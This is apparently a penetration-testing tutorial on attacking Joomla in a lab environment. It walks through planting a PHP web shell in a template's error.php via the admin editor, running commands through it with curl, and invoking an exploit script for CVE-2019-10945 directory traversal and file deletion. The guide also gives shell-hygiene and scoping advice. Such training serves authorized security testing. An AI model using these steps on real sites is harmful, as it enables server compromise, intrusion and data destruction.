Attacking Joomla
Abusing built-in functionality — template RCE
With admin credentials, Joomla’s template editor provides direct PHP source access — the same primitive as WordPress’s theme editor.
Steps
- Log in at
http://<target>/administrator - Navigate to Configuration → Templates (bottom-left sidebar)
- Click a template name under the Template column — e.g., protostar
- Select a file to edit —
error.phpis a good choice (infrequently loaded, low visibility) - Inject a PHP web shell. Use a non-standard parameter name to reduce the chance of opportunistic access during the assessment:
system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']);
- Click Save & Close
Tip: If the control panel shows
An error has occurred. Call to a member function format() on nullafter login, disable the Quick Icon - PHP Version Check plugin atadministrator/index.php?option=com_plugins, then reload.
Execute commands
Template files are served from /templates/<theme-name>/. For the protostar theme:
curl -s "http://dev.inlanefreight.local/templates/protostar/error.php?dcfdd5e021a869fcc6dfaef8bf31377e=id"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
From here, upgrade to an interactive reverse shell and enumerate local privilege escalation vectors or pivot into the internal network.
Web shell hygiene
- Use a non-dictionary parameter name (MD5-style hash) to prevent drive-by access
- Optionally restrict by source IP at the web server /
.htaccesslevel - Remove the shell as soon as the engagement phase is complete
- Document in the report appendix: file path, file hash, parameter name, and date/time of creation and removal
Leveraging known vulnerabilities
Joomla has accumulated 426+ CVEs. Critical RCE vulnerabilities in Joomla core are rare — the majority of exploitable findings are in extensions (similar to WordPress). Exploit-DB lists 1,400+ entries for Joomla, most targeting extensions.
CVE-2019-10945 — Directory traversal & authenticated file deletion (Joomla 3.9.4)
Affected version: Joomla 3.9.4 (released March 2019)
Impact: Authenticated directory traversal; can list directory contents and delete files
Requirement: Valid admin credentials
Use the exploit script with the following flags:
python3 joomla_exploit.py \
--url http://dev.inlanefreight.local \
--username admin \
--password admin \
--dir /
| Flag | Purpose |
|---|---|
--url | Target Joomla base URL |
--username | Admin username |
--password | Admin password |
--dir | Directory to traverse/list |
Practical use: With admin creds already in hand, template RCE (above) is more direct. This vulnerability is most useful when the admin panel is only accessible internally — traversal can expose configuration files or scripts holding credentials that are readable via the application URL.
Do not use the file deletion capability during an assessment unless explicitly scoped and authorized — deleting files can cause application downtime and data loss.